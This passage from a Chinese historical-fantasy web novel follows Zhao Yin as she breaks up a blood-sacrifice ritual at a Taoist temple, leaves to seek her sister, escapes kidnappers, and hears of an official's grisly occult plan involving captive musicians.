“哪里不对?”
“他们人多势众,真想做什么,没必要守在门外,明抢就是。”
贺菱点头:“对,一直守在这儿做什么,不声不响,怪吓人!”
“道一师兄既然提醒我们藏好,说明他早已往这边派了人手,但是早上我只看到周檁的士兵,并没看到其他师兄弟。”
贺菱抱紧胳膊,打了个哆嗦。
赵吟继续道:“我们都被震慑住,所以不敢打开房门,可是现在门外根本没有人!”
贺菱满脸惨白,死死拽住她,但赵吟大踏步往前走,砰一声打开房门。
大声道:“他们就是料定我们胆小!”
旁边的门一扇扇打开,大家都走出屋外,倒吸一口气,屋外一个人都没有,甚至没有一盏灯。
赵吟道:“师傅有难,快随我来!”
走至月洞门处,她忽然停住,折身走到另一面墙,打开后门。
外面是一片竹林,四周立着围墙,赵吟带头爬过去。
山林里面漆黑一片,偶尔传来几声狼啸和其他动物嚎叫。
赵吟点燃火折子,让后面的人都扶住前面人的肩膀,她带头在山林里穿梭。
荆棘扯住她的衣服,像有人在拉拽,赵吟心慌慌,一脚踢开。
终于有人问道:“阿吟师姐,我们要去哪里?”
“看到火光就停下。”
不知爬了多久,火光隐约出现,赵吟灭掉火折子:“停,大家辛苦了。”
贺菱越看越熟,闪烁着火光的那个高台她似乎见过……
有人说出答案:“那是大殿外的祭坛!”
她们在大殿之后的山坡上,尽悉一切。
祭坛上终于有人影出现,贺菱惊呼:“道一师兄!”说完又紧紧捂住嘴。
王道一被五花大绑扔出来,很快,其他师兄弟也被五花大绑扔出来。
“时辰到了没?”
“没有?”
贺菱小声问:“什么时辰啊……”
赵吟凝神细想,一字一顿:“血祭。”
狼嚎层层回荡,任何风吹草动,都引起一阵冷战,更别提头上的松树,还时不时掉落松果。
赵吟理清思绪,压低声音道:“师傅从前讲过,有一种道门禁术叫‘血祭逆五行’,即用活人血祭逆转五行关系,若对方设下火阵,火本应克水,此法却使火生水,反克火,令其阵法自破。”
“我知道!周檁军与董家军两
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方对弈,周檁此举是想借邪术破城……”
拜山,好色都只是借口,原来醉翁之意根本不在她们,而是——他们!
赵吟往下看去,或许是此法太过阴邪,不能见光,故而周檁身边只有十二个士兵。
师兄弟们嘴里都塞了布,一个个如蒸锅里的螃蟹。王道一还在拼命挣扎,他看见了什么,突然挣扎得更为剧烈。
那是静须石簌流等人,他们同样被绑起,脖子上架着刀,一步步被推往祭坛。
一个圆脸师妹道:“我起初以为修道只是练练功写写符咒,修心养性,没想到还有这些!”
“道长们,时辰快到了,你们准备好没?”
静须怒道:“什么巫蛊邪术,污我道家门楣!我们不会!”
周檁哈哈笑,扔下一个八卦旗,大声道:“法器准备好了,哦还有口诀——‘血染乾坤,五行倒悬!金生木而断其根,水生火而焚其魂!’记住了吗?”
回答他的是石簌流的冷眼。
周檁一声令下:“来人!把祭品带上来!”
贺菱声音都在发抖:“什么祭品啊……”
微弱火光下,几个五花大绑的人被推到祭坛中间,有一人抬起脸,赵吟“腾”一下站起,往前走了几步。
贺菱拉住她,小声道:“阿吟——”
赵吟重新坐下,稳住心神,眼睛不自觉变得潮湿,她认得那个人,是当时替李韫玉送及笄礼的小侍卫。
祭坛旁火光一窜而起,王道一吓了一跳。刀剑贴着他的脖子,他闻到血腥气。
静须大喊:“住手!”
石簌流道:“我们答应你!”
周檁抚掌:“好!好!好!”
两人负着绳索走到祭坛旁边,艰难弯下腰,捡起八卦旗。
周檁来回走动,目光停在一人身上,他盯着何如己的咽喉,举起剑,弹了下刀刃。
吟唱在这时突兀出现,由小变大,哀怨曲折。
周檁大骇,转身面向王道一等人:“什么人在装神弄鬼!”
王道一震惊地睁大眼,目光看向他身后,挣扎着往后退。
一白衣女子立在山坡上,嘴边噙笑,悠悠的吟唱还在继续。一团火焰从她身后飞起,直冲周檁,落在祭坛之上。
王道一吓得说不出话,不知不觉缩到了旁白回廊的柱子边。
背后有悉悉簌簌的动静,他惊恐地回头,然后长长舒了口气。
赵吟掏出匕首,割断他身上的绳索,周檁偏偏在这个时候转头,脸上神情阴冷,他拖着剑,冷笑着走来。
与此同时,山坡上碎石乱滚,一群“女鬼”顺着山坡往下滑。
他略一晃神,手上一松,冰冷的寒光闪到眼睛。本拿在自己手里的剑握在赵吟手中,她步步逼近:“后退!”
周檁笑了一下,王道一着急大喊:“阿吟小心!”
手里的剑“哐当”落地,天空不知何时与她平行,赵吟眼前一黑,耳朵像塞了棉花,一切声音都变得遥远。
9. 第九章
脖颈处有禁锢感,她快要呼吸不上来,手下意识在地上乱划,无意间摸到碎石块,但很快脱力,石块也从手中滑落。
脖子上的力度有一瞬间松懈,赵吟猛然睁眼,重新握住石块,毫不犹豫砸向上方。
禁锢感消散,微凉的空气涌入鼻腔,她朝右翻滚,大口呼吸。
周檁趴倒在地,无声无息。
站立四周的十二士兵没了声响,他们手里拿着剑,一会往前一会儿后退,像点燃的烟花爆竹突然哑火。
那股莫名的吟唱又在继续,白衣“女鬼”们一涌而来,或哭或笑。
十二人颤抖着丢掉剑,挤作一团。
“都捆好了!”王道一拔出钥匙,用手试探了好几下,确定门已锁好。
他揉了揉酸痛的胳膊,来到静须和石簌流旁边,用匕首切割他们背后的绳索。
“师傅,那几个‘祭品’怎么办?都吓晕过去了。”
“让他们躺着,我得先缓缓……”静须将脱落的绳索踢得远远的,躺在地上大口呼吸。
月色突然变亮,所有人横七竖八倒在高台上,共享这一刻劫后余生的欣喜与安宁。
“我阿吟师妹真厉害!要不是她,这个邪术就要成了!到时候我们真是跳进黄河都洗不清……还有你们这群‘女鬼’,一出场确实将我吓了一跳!”
师兄弟们都附和:“是呀,被绑过来时还没那么惊慌,你们突然出现在山坡上,倒是把我们吓出一身冷汗!”
贺菱笑道:“阿吟师姐说,他们信此邪佞之术,说明骨子里忌惮鬼神!真说对了!就是在山坡上装神弄鬼的时候,我们的腿在发抖!”
哄笑声一片,石簌流却突然坐起。
他说:“山下肯定还有周檁的士兵,天亮了就麻烦了!”
周围的空气变得又沉又重,石簌流看着渐渐稀释的暮色,凝重道:“都跟我来!”
表面凹凸的石碑立在路边,已辨认不出上面的字迹。掩映在草丛中的小径若隐若现,偶尔有蚱蜢跳出。远处山雾轻移,像流动的风。
石簌流提着灯笼,站在海棠色的朝霞中,他低头看向赵吟。
“阿吟,周檁醒来定要寻仇,你应该下山,去走你自己的路。”
赵吟轻声道:“我走了,你们怎么办?”
石簌流笑:“区区一个周檁,我们太常观还得罪得起!”
“可是……”
“可是你害怕,觉得自己走了,丢下我们不妥。你还害怕,因为自己想走的路在旁人眼中是异想天开……”
眼中有一刹那的震撼,赵吟很快别开头,“是的,师傅,我在害怕,也在犹豫,因为我觉得应该听雪娘的话,也应该平淡度此生。”
“你觉得?你真的这样觉得吗?”
赵吟痛苦地捂住耳朵,那种声音又出来了——
“万一失败了呢?”
“你这样会让雪娘失望的。你看你不听雪娘的话,结果失去了赵荷。”
“女子的宿命就是那样,你否认也没用,你见过别人挣脱吗?你又要怎么挣脱?”
……
王道一担忧道:“阿吟……”
石簌流继续道:“是谁让你听话,是谁让你随波逐流度此生,那些声音真的是你吗?”
是我吗?
是我呀,不是我又是谁?
赵吟闭上眼,无数言语冲向她,告诉她要学会接受,督促她去谈婚论嫁,指责她与礼不合。
太纷乱,太嘈杂,周围明明如此安静,她却心如火烧。
她听到了很多应该,可是她都不愿意。
是谁在说应该,是谁在说不愿意?如果都是我,为什么观点截然相反?
她猛然睁开眼,周围一切都变得清晰,泥土的潮湿,山风的轻柔,树叶的青翠……
她松开手,慢慢道:“我不是我。”
那些声音都消失了,她听见自己沉稳的心跳,还有落叶的声音。
石簌流又问:“那真正的你想怎么样?”
她不用思考,脱口而出:“想去塵州,想见赵荷,想走这条险峻不知结局,但是我真正想走的路。”
石簌流抬起头,朗声笑,他再次低下头,目光如孩童般澄净:“阿吟,困住你的是世俗吗?”
赵吟笑,泪水落下来:“是我,一直以来困住我的,是我自己。”
——是谁设此樊笼?
——是我,只有我。
王道一目瞪口呆,听着这一段玄而又妙的对话。
朝阳初生,石簌流转身对着弟子们道:“这太常观里,有一个叫赵吟的人吗?”
众人轻笑,默契道:“没有,哪个吟啊?”
“有贺菱,陈莹,就是没听过赵吟!”
笑声过后,又有轻微的抽泣声。
贺菱擦擦眼泪:“这么快吗,昨天到现在,阿吟都没吃饭呢……”
王道一泪眼婆娑,掏出自己的荷包递给赵吟,“我的喜酒你来不及吃了。”
余人也反应过来,递钱递点心……
石簌流满意地颔首,他将手伸向山下,笑着道:“阿吟,你的世界开始了。”
赵吟的身影消失在山间时,李韫玉刚刚走到太常观门口。
祭坛上的一切让他心中疑惑,而倒在一旁的何如己更是让他心生警惕。
“小何,快醒醒!发生什么了?”
何如己从混沌中醒来,欲哭无泪:“小侯爷,你可算来了,什么拜山呐,分明是要弄什么血祭!”
李韫玉闭上眼睛,眉宇间尽是疲惫。
良久,他才问道:“他们呢?”
何如己环视四周,指了指那间紧锁的屋子。
“诶诶小侯爷你别去呀!他醒了怕是又要弄这什么仪式!”
“不会了。”
“为什么?”
李韫玉表情如常,他说:“我已破城。”
在周檁满山询问“阿吟”时,何如己也想起自己在晕倒之前,似乎看到过赵吟。他记得她,尽管当初只是匆匆一面,可他记忆犹新。
但是所有人都说,山上有“阿玲”“阿莹”,就是没有一个“阿吟。”
而且,他清清楚楚地看到,红妆已过玉门关。
目送着周檁等人离去,王道一松了口气:“这事儿就过去了?”
石簌流道:“我估计他只是听见你喊了声‘阿吟’,其实根本就没看清到底是谁,再加上此事他理亏在先……好了,我们回去吧!”
王道一看着天色,
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叹了口气:“也不知阿吟现在走到哪里了?”
柳叶青是在天快黑时听见敲门声,她放下手里的锅铲,急匆匆往外走:“谁呀?来了来了!呀,阿吟!”
温暖的烛光下,赵吟将一个木盒递给柳叶青,“阿青姐姐,十天后替我去一鸣山下的王家喝喜酒。”
柳叶青接过木盒,握着她的手问道:“那你呢,要去哪儿?”
赵吟灿然一笑:“塵州,夕波渡。”
是的,她要再次去往塵州。
长乐巷就在蒲月山附近,儿时的赵吟常跟陈雪娘来此逛集市,也是在这条巷子里,她遇到衣衫褴褛,不知姓名也不知来处的赵荷。
三年前,她的同窗好友陈青姝嫁到长乐巷钟家。
穿过长长的游廊,行过月门,又推开一扇门,她见到了陈青姝,院子里的小火炉散发出中药气息,陈青姝蹲在一旁扇风,脸上都是汗珠。
记忆里贪吃的小姑娘已经嫁为人妇,脸庞清瘦许多,看见她的服饰穿着,赵吟又放下心来。
“呀,阿吟你怎么来啦?”
赵吟将手里的小竹篮递给她,又拿过她手中的扇子,替代她蹲在小火炉边。
“都是我爱吃的!小荷呢?怎么没跟你一起来?”
赵吟扯唇道:“她暂时去了别的地方。”
当年她们三个人坐在黄昏里谈天说地,约定好以后去踏遍山河,赵吟眼睛一眨不眨,期待地问道:“你还想去各地走走看看吗?”
陈青姝小声说:“我已经嫁人了啊……”
赵吟垂下眼帘看着咕嘟嘟的药汤,还是笑着问道:“等下我们去吃你最爱的羊肉怎么样?”
陈青姝支支吾吾,低头道:“我夫君不喜欢羊肉的味道。”
赵吟抬起头,雕梁画栋,深门大户,为何这样华贵的门庭能锁住一个女孩的年少期待,能湮灭她的个性与喜好,能将她变成另外一个模样?
她没有答案。
离去时,陈青姝靠着门叮嘱:“阿吟,漂泊在外也不是个办法,你想想再过几年,你年纪大一点……”
赵吟打断她,再看她一眼,笑着说:“快进去吧,外面风大。”
“安陵城”三个字挂在城墙之上,周围的野地里开满不知名的小花,城墙边有两三家茶水铺子,赵吟跳下马,随意走进一家,要了壶凉茶。
桌面坑洼不平,但一点灰尘与油渍都没有,茶碗送上来之前先在开水里烫过,赵吟情不自禁看向店里的小伙计。
他已经走去旁边一桌,麻利地擦拭桌面,露出的一截手臂比姑娘家还白。
她正在探究,手边忽然被放了一盘鸡丝凉面,赵吟疑惑抬头:“老板娘?我没有点这个呀……”
“噢,这是有人专程送你的!”
赵吟环视周围,一头雾水。
茶喝完了,凉面还在,赵吟想了想,拿起筷子。不管是谁的心意,先收下吧。
在她吃面的时候,那名小伙计释然一笑,只不过她背对着他,没有看到。
结账时,赵吟总感觉到有人在看她。侧过头,正好捉住那名伙计未来得及移开的目光。
他欲言又止,先看向别处,然后再次看过来。
“我们认识么?”赵吟疑惑不已。
10. 第十章
在赵吟问出这一句话后,他微微惊讶,却仍然不做回答,直到赵吟转身后,他才道:“阿吟,我是吴风依啊!”
吴风依?
在记忆里沉寂了十几年的人名突然出现,幼时的一段记忆也跟着苏醒。
她想起来了——
她跟他打过架,当时的自己像螃蟹一样张牙舞爪,好几个人都拉不住。
可是……为什么跟他打架?
“赵荷呢?我记得她一直跟着你。”
雾气浮上眼眸,她记起来了,是为了赵荷。
“她……她去了一个很远的地方。”
“阿吟,我知道可能有些唐突,但是我还是想说——对不起!”
当时的争执,皆因他嘲笑赵荷脸上有胎记,尔后又骂赵吟的祖父是乱臣贼子。
赵吟笑笑,没继续这个话题,她反问道:“你怎么会出现在这里?”
“十年前家道就中落了,现在靠一双手养活自己。”
赵吟不得不对他刮目相看,纨绔的小公子洗尽铅华脱胎换骨,勤勤恳恳当了小伙计,还会主动承认错误。
她微笑:“谢谢你送我的面。”
吴风依挠挠头,又问道:“那你怎么会出现在这里?雪娘不担心吗?”
“她过世了。”
“抱歉……接下来你要去哪儿?”
“先进城找客栈,然后去塵州。”
“一路顺风!”
背后突然有人打断他们的寒暄:“小姑娘,能帮我一个忙吗?”
两人扭头看去,见一老妇人布衣素钗,神色焦急。
“儿媳妇肚子大,自己下不来,老人家笨手笨脚,怕一不小心让她摔啰!烦请姑娘行行好,扶她一下!”
门外确实停着一辆马车,赵吟点头,随她出门去。
马儿在门外柳树荫下甩着尾巴,悠闲地吃草。
脖子有些酸痛,吴风依从账本里抬起头,他见赵吟的马还在吃草,顿生疑惑:扶个人需要这么久吗?
张嫂将板凳抬进来,招呼他道:“阿风,客人都走了,咱们收摊吧!”
拨算珠的手一顿,吴风依慌慌张张跨出柜台:“都走了?”
“是呀,就是不知道谁的马还栓在那……”
赵吟是在马车的颠簸中醒来。
她欲起身,却发现自己被五花大绑,欲叹气,又发现自己嘴里塞了布。
就像不久之前的师兄弟。
车帘被粗暴掀开,两个人逆光出现又瞬间消失。
那模糊的一眼,赵吟辨认出,是请求她帮忙的老妇人,另一人……大概是那所谓的儿媳妇。
未几,马车停下,她被粗暴地拽下马车,推进一间屋子。
绳索松开,门“砰一声”关上,铁链撞击,然后“咔哒”一声。
屋内陷入一片黑暗,门缝里泻出一线光,断断续续,并不笔直,像她初学针线时缝出的针脚。
室内空荡,带着潮湿与发霉的味道,墙角堆着稻草垛,赵吟走过去,随意躺下。
多亏吴风依的那一碗面,使她在此窘境中免于饥饿。
翻了个身,她慌乱地四处寻找,脸上显露出颓然的神色。
行李不见了,陈延芝和赵宣棠的诗集还在里面。
窗外亮了又暗,赵吟也不知现在是什么时辰,屋门一直紧闭,偶尔能听见一两声交谈。
“能卖多少钱?”
“肯定比上一个多!”
“什么时候出发?”
“天亮就走!”
卖?是说她吗?
赵吟惊出冷汗。
她站起身,借着月光打量周围,泥墙泥地面,窗户小小,房顶都是茅草,屋内唯一的东西就是稻草堆。
金黄的稻草在她手中穿梭,很快变成绳结,悉悉簌簌的声音引起门外的注意,有人问:“她在里面做什么?”
“你去看看!”
赵吟停下动作,将绳结藏在裙子下,手扒拉着稻草。
“没事儿!好了,回去睡觉吧!”
脚步声渐渐远去,赵吟继续手中的动作。
月正高,她将拧得结结实实的绳结抛起,但试了几次都穿不过房梁。
手臂酸痛,她坐下来休息,忽见墙壁有一些凸起,她走过去,仅仅是触碰,泥土块就随之掉落。
泥块拴在绳子末端,轻轻抛出,成功了!
赵吟平顺呼吸,将绳子下方系在一起,双脚踩上去,从怀里拿出短绳结绑住两边,搭建出一级阶梯,可双脚突然踏空,她结结实实摔在地上。
这样不行,站在绳子上的时间太长,会承受不了重量,她休息片刻,将两股草绳拧在一起,借着双臂往上攀爬。
快要脱力时,她终于摸到了房梁横木,奋力一拉,稳稳趴在了上面。
她小心翼翼站起,抱着立柱站稳,然后伸手摸向房顶,意外地发现手可以穿过茅草屋顶,微凉的空气被她握了满手。
薄屋顶,掉落石块的墙壁……赵吟无比感谢这种偷工减料。她一点一点拨弄,在房顶上挖出一个洞。
夜风吹过来,赵吟完全清醒,她现在整个人趴在房顶上,距离灿烂的星空如此之近。
怎么下去呢?
赵吟挪动了下,见下方有柴堆。
她轻轻爬过去,试探着伸出脚,踩在柴堆上。
站稳了,她呼出一口气。
随之而来的是枯枝断裂声,“轰”一声,柴火堆倒塌,她随枯木一起坠落,空气中都是灰尘。
她在一片骚动中拿过墙角的行李,朝田野之外狂奔。
乌云散去,月光更明,前方一览无遗,赵吟抬头望,月亮大得吓人。
今晚是十五吗?
谢谢你,月亮。
她跑进了山林。
微弱灯火出现在前方,狗吠声清晰可闻,总算看到人烟。
她走下山坡,穿过稻田,来到第一户人家前,敲门。
“能不能让我……”
话未完,女人拉住她,大喊:“逃到这里来了!来人啊……”
女人拉住她的行囊,此起彼伏的开门声让她心跳剧烈,她一狠心,放开行李。
村落被甩在身后,赵吟重新爬上山
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坡,往山林里走去。
在她的背后,一些人站在稻田里,望着她的方向,抬起弓箭。
“嗖”一声,箭矢穿进山林,接着便是一连串的声响,像是什么东西滚落。
“走,追回来!”
“别追了,回去睡觉!中了箭跑不远,让上庄的人去追!”
“回去了!”
潺潺溪水就在耳边,松厚的土壤像是温暖的怀抱。赵吟无力地躺在小溪边,小腿上的剧痛让她眼前发黑。
她看见稻田里的人瓜分她行囊中的糕点,然后将剩下的东西丢进一方水潭。
赵吟的行囊从来简单,贵重物品都随身放置,包袱里只有一些零零碎碎的药品和糕点,可那里面有陈延芝的和赵宣棠的诗集,是唯一和父母有关的东西。
赵吟仰面躺在地上,失去向前的勇气,她想休息了。
天亮会怎样?会被那些人找到,然后卖掉?
她近乎自虐式地想,等她被卖掉,就再也见不到柳叶青了。也或许在今夜死掉,毕竟受了伤,鲜血也会引来其它。
然后呢?
然后她视若珍宝的东西会被处理掉,就如她视若珍宝的文纸,在别人眼中,只不过是废纸一张。
她珍视的人呢?
她珍视的人再也不见,没人想着去看她,没人记挂她,远在大漠的赵荷会被慢慢遗忘,直至此生终老。
赵吟看向箭矢,颤抖着伸出手。
“咚”一声,溪水被染红,赵吟趴在地面上寻找。
她看到车前草,刺儿菜……
一双手摘下刺儿菜,将花苞和枝叶一同碾碎,然后蹲下来,看向旁边的小女孩。
赵吟愣愣地抬起头,那是年轻一些的陈雪娘和年幼的自己,这非现实而是记忆。
——赵吟摘下车前草和刺儿菜,将花苞和枝叶碾碎。
小女孩眼泪婆娑指着膝盖上的伤口,陈雪娘将草药敷上去,撕下衣角裹住,安慰道:“好啦好啦,敷上去就不疼了!”
——赵吟将草药敷在腿上,撕下衣角裹住,自言自语:“敷上去就不疼了。”
“阿吟,快试着站起来!”陈雪娘弯着腰,笑意盈盈。
——赵吟擦掉眼泪,扶着旁边的树木,摇摇晃晃站起。
陈雪娘拍手,温和道:“往前走,别害怕!”
——赵吟轻声道:“往前走,别害怕!”她咬住嘴唇,拄着树枝,一步一挪。
小女孩转身,疑问道:“雪娘雪娘,要是害怕怎么办呢?”
陈雪娘微笑道:“那就跟我念——心若冰清,天塌不惊。”
两道声音响起,年幼的阿吟,现在的阿吟。
——“心若冰清,天塌不惊。”
“万变尤定,神怡气静。”
——“万变尤定,神怡气静。”
最后,三道声音同时响起:“天地正气,护我安宁!”
天亮了,她走出了山林。
前方隐约有两个人影,却又看不真切,赵吟想躲避,可再也没有了力气。
天旋地转,她听到一阵急促的脚步声。
11. 第十一章
身上的麻布被褥因摩擦而发出声响,午后阳光的味道涌入鼻腔,赵吟从混沌中慢慢苏醒,入眼是白色的墙面。她骤然紧张,喘着气坐起。
“慢点慢点……”
一名妇人坐到床边,扶着她坐好,看见赵吟警惕的神色,她笑道:“不记得我了?我是茶水铺的老板娘张嫂!”
门“吱呀”一声,吴风依探进一个头。
“阿吟,你醒啦!”
他走进来,手里端着一碗黑乎乎的汤药。
“郎中直夸你聪明!说你及时用草药止住了血,可是阿吟,你遇到了什么?”
汤药喝完,赵吟也讲完。吴风依主张报官,张嫂叹息道:“村子之间互相勾结,你以为官府不知道?”
一片沉默中,赵吟道:“阿风,帮我买一把弓箭吧!”
赵吟住在了张嫂家中,她不慌不忙地养伤,每日都去铺子帮张嫂理账,甚至重新设计了账簿。
中秋节很快到来,张嫂年轻丧夫,唯一的儿子又在军营中,不常回家。这个中秋节,他们三人挤在这间小小的茶水铺,围着火炉喝羊汤。
赵吟无不黯然地想,上一年中秋节她亲朋俱在,如今她却一个人在他乡。
隔着烟雾,吴风依问道:“还去塵州么?”
赵吟点头。
午饭后,她对吴风依说:“陪我进一趟山吧。”
吴风依看向她手里的弓箭,虽然不解,但仍爽快地答应。
很快走到了他和张嫂找到赵吟的地方,他问道:“接下来要去哪儿?”
“进入山林。”
赵吟在树林中穿梭,仿佛有自己独特的路线,她并不停顿并不张望,每一步都走得踏实笃定。
吴风依奇道:“阿吟,你对这里好熟啊!”
赵吟微笑,叮嘱他小心荆棘。
茅草屋又出现在眼前,屋顶上的洞仅是用黑布盖上,并没有重新修补,墙角边的木柴凌乱地堆积着。一个婆子从屋里走出,赵吟认出来,就是那个请求她帮忙的老妇。
婆子似乎也认出了她,连声“哎呀呀”,四处张望。
赵吟瞄准她,箭矢下移。“嗖”一声,箭已离弦,正中她的小腿。
“快跑!寻仇来了!”婆子的喊叫声开始回荡,赵吟无动于衷,转身朝另一个方向走去。
还未走下山坡,下方的稻田里已经站了许多人,手里拿着锄头棍棒。
吴风依拽着赵吟,转身欲走,可赵吟岿然不动:“等的就是他们!”
她拉满弦,对准最前面的那个男人,松手,箭矢准确无误击中他小腿。他身后的村民动作停止片刻,随后疯狂往山坡上跑,喊打声一片。
赵吟仍然站立原地,不慌不忙的拉满弓弦,百发百中的箭矢让吴风依目瞪口呆,他这才明白赵吟没日没夜地练习射箭原来就是为了这一天。
穿越树林的路线她牢记于心,并时常咀嚼,也是为了这一天。
最后一支箭矢放出,稻田里的人都捂着腿唉叹,赵吟毫不留情地转身,和吴风依重新回到茶水铺。
村庄里的人遇袭的消息传到了张嫂耳中,她神秘兮兮地凑到赵吟耳边,告诉她:“那群人作恶多端遭报应了!”
吴风依将碗里的茶喷出来,诚实道:“那就是阿吟干的。”
露水躺在渐渐变黄的草地上,月亮还隐隐约约地挂在天上,赵吟在枕头下放了一包银子,然后轻轻推开门。
她留恋地再看一眼房间,随后悄声下楼。
城门已开,挑着担子的货郎高声吆喝:“豆腐,豆浆嘞——”,一些农人赶着驴车,偶尔有一两个柿子从车上滑落,咕噜噜滚到草丛中。
马儿在一旁打着响鼻,赵吟摸摸它的鼻子,突然感慨,这匹马跟着她出生入死,危急时刻,她还用簪子扎过它。
她有些歉疚。
可马儿依旧晃着尾巴,任凭她抚摸。
快进城时,有人叫住她。
吴风依挎着布包,也牵着一匹马,他笑着道:“一起走吧!”
这个时候,楼上的张嫂微笑着放下窗子,可又突然有些懊恼。因为她忘记告诉吴风依,带的那些饼要配黄豆酱吃。
有人同行,赵吟放松了许多,他们在路边食肆休憩时,突然天降大雨。雨下了一整天,到傍晚渐息,但还是偶尔落星。
赵吟撑着伞,去寻找最近的旅店。
旅店就在前方不远处,旁边是一片银杏树林,金黄灿烂。
一行人马迎面而来,马蹄溅起泥点,赵吟慌忙躲避。马上下来几个人,牵着马往林子中走去,然后呼呼拉拉走进旅店。
雨变小了,但还是淅淅沥沥。那边林子里,除了有几匹马,好像还有……几个人?
他们为什么不进去躲雨?
赵吟好奇地走过去。
三男一女,皆披头散发,他们跟马一样被拴在树上。唯一的女子扬起头,抬起被缚住的双手挡雨,手上的勒痕清晰可见。
赵吟顿住呼吸。
十五及笄礼,她在那场奢华的宴会上见过她,那时其余人都尊称她月一郡主。
可她们没有讲过话,甚至没有对视过。
内侍尖刻的话语又在耳边回响,他说,董太后舍不得李春序去和亲。
赵吟忽然想笑,偷梁换柱改不了命运,自己没有去和亲,李春序也没有锦衣玉食,甚至沦落至此。没有谁赢,也没有谁输。
她觉得很痛快,想转身离开,但却不由自主朝李春序走去,将手里的雨伞偏向她。
或许是因为,她希望在大漠深处,若赵荷身处险境,也能有人为她撑一下伞。
铁锅铁勺碰撞声响起,赵吟与吴风依坐在桌旁,等饭菜上桌。
赵吟将碗筷摆好,不经意道:“我看到李春序了。”
吴风依“啊”一声,问道:“在哪?”
董太后骄纵的外孙女儿,他从前素有耳闻。
“客栈旁的树林,手被捆着。”
吴风依叹气道:“世道变得太快了……”
菜上来了,赵吟叫住伙计,问道:“旁边树林里为什么捆了几个人?”
“中途逃跑,被惩罚了呗!”
赵吟一头雾水:“什么逃跑?”
小哥道:“前一个月,城内张大人派人从越州
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买乐班子,结果那几个人中途逃跑,一群人找了一个月才找到,恼火得很!”
吴风依不解:“买乐班子?逃跑?”
酒楼随处都有乐班,为何还要专程去越州买?
小哥看了下四周,低头神秘兮兮道:“知道的人也没几个,碰巧我姑父在张府当值,他知道内情……”
吴风依与赵吟情不自禁凑过去。
“我姑父起先只是一个鱼贩子,后来经人说和,去了张府当差,他无权无势,好差事哪轮得到!夜间差事没人做,摊来摊去摊到了他头上,其实也简单,就是提着灯笼,四处走走巡逻,防止走火啦,遭贼啦……
有一回他发现书房里还亮着灯,想走过去灭灯,结果发现张大人在里面。
他喊了一声,结果大人压根不理,他拿着一本书,嘴里反复絮叨,说什么‘四方泪尽,神鬼动容,魂兮归来’……他没听懂,却浑身冷汗直冒。第二天偷偷问府里的老仆人,老仆人说,八成是家主想见女儿了。
他问嫁去哪儿了,怎么不见归宁?
老仆人说,已经死去十五年了。”
吴风依咽了下口水,问他:“这跟乐班子又有什么关系!?”
“有啊,传说音乐能通天地鬼神,你看旧时祭祀,不都要边歌边乐边舞,乐班子奏乐,那不就通天地,动鬼神了!”
赵吟问道:“四方泪尽是什么意思?”
“就是四个人占据四个方位,有人吹笛,有人弹琵琶,有人唱歌,有人跳舞。要让他们流眼泪,眼泪流干了,就感天动地了!想见的人就能见到了嘛!”
吴风依松了口气:“这么简单,那他们逃跑干嘛?还专门要越州的班子?”
伙计看他一眼,继续道:“张大人的女儿,夭折在越州。”
吴风依已经觉得不对劲,有点不太想继续听。
“你以为随随便便就眼泪流尽了?奏个乐哭一场就好了?”
“那……那还要怎样?”
“还要献祭!”
吴风依头皮发麻。
“要用歌者的喉,弹琵琶的手,吹笛人的嘴……”
顿了一下,他继续道:“还有舞者的美人皮!”
吴风依浑身发抖,筷子都拿不稳。
“要用这几样东西献祭,你看这四个人是不是会疼到流泪,关键不在流眼泪,要眼泪流尽!你想想看,什么情况下才能让眼泪流尽?”
赵吟和吴风依对视一眼,同时打了个寒颤。
“别害怕,任何仪式都需要人来主持,但是这法子太邪乎,没方士愿意接,所以至今为止,还只是口头一说。”
两人松了口气。
“不过我姑父昨儿个回来说,张大人已经开始自学方术了,估摸着过段时间就要开始!”
“!”
“别声张啊,听一听就算了,这种大人家的事,咱们想管也管不着,一不小心就把自己给搭进去了。”
吴风依和赵吟看向门外,两人都在想,李春序是干什么的呢?吹笛还是弹琵琶?还是其他?
过了会儿,店里的伙计告诉他们,那名女子,是跳舞的。
12. 第十二章
两人没滋没味地吃完饭,从饭馆出来时,迎面碰上那四个人。
吴风依情不自禁看向他们的手、喉、嘴……还有脸。
眼睛有点发酸,他匆匆低下头,跟在赵吟身后长吁短叹走进了客栈。
老板娘伸长着脖子朝外边望,见两人进来,她压低声音问道:
“你们在外面看到三男一女没?犯了什么事儿啊,弄得人不人鬼不鬼?还让他们在马厩里过夜,我说不要钱,给他们弄间房,连这都不行!”
吴风依垂着头:“不知道呢……”
回到房内不久,楼下就传来一些骚动,赵吟推开门,与吴风依两相对视,他们齐齐看向楼下。
“这夜黑风高的怎么走啊……各位爷再歇一晚呗!”
“不行,得加紧赶路,误了吉日我们也担待不起!房钱不用退,告辞!”
“诶诶,慢点……我给各位拿个灯笼!”
喧闹声渐止,赵吟急急下楼,吴风依紧随其后。
两个黑乎乎的影子洒在帐簿上,老板娘摸着胸口喊娘,抬头嗔他们一眼。
赵吟不好意思笑一笑,问道:“过几天有什么好日子吗?”
“没什么好日子啊……”她拿出一本泛黄的书,一边翻一边嘀咕。
赵吟借过来,就着昏暗的灯光细看。
三日后,宜祭祀。
吴风依呼吸急促,手开始发抖,老板娘疑惑问:“怎么了这是?”
“噢,我旧疾犯了。”
“……”
一觉睡醒,赵吟脑子里凭空冒出一句话——还有两日。
吴风依几乎一夜未眠,他在床上翻来覆去,想睡又不敢睡,天亮了才放心地闭上眼睛。
可门就在这时“砰砰”而响。
他一震,睡意全无。
隐含怒气地打开门,赵吟挎着行囊站在门外,她着急道:“快,我们要赶路!”
“去哪?”
“张府。”
“!”
安陵城市井繁华,往来商旅络绎不绝,街上叫卖声此起彼伏。
橙黄的柿饼上染了白霜,雪白的羊肉汤在锅里沸腾,沸腾的油锅里鱼块金黄酥脆。
碧绿的青椒带着露水,紫苏叶香气袭人,红薯藤枝叶昂扬……张诚蹲在蔬菜摊子旁仔细挑选。
旁边的两个随从背着竹篓,身子不动,但眼神四处闲看。
“张管事,你看,那边有方士!”
张诚将手里的茄子丢掉,忙抬头张望。
羊肉摊子前,一个男子埋头于碗间,身上是典型的方士穿着,一身青色长袍,头上戴着逍遥巾。
男子抬起头,他面容白净,细长的眉,细长的眼。手边一旌旗,上写——神机妙算。
张诚在身上擦干净手,嘱咐道:“你们去买猪牛羊,要品质好点的,后天要用。”
他提步走过去,随意坐在方士身边。
那方士停箸,慢腾腾抬起眼,忽而皱眉道:“大爷气息浑浊,可是遇到什么烦心事?”
张诚一惊,心想这人有点本事,可又一想,没烦心事儿能坐在这儿吗?
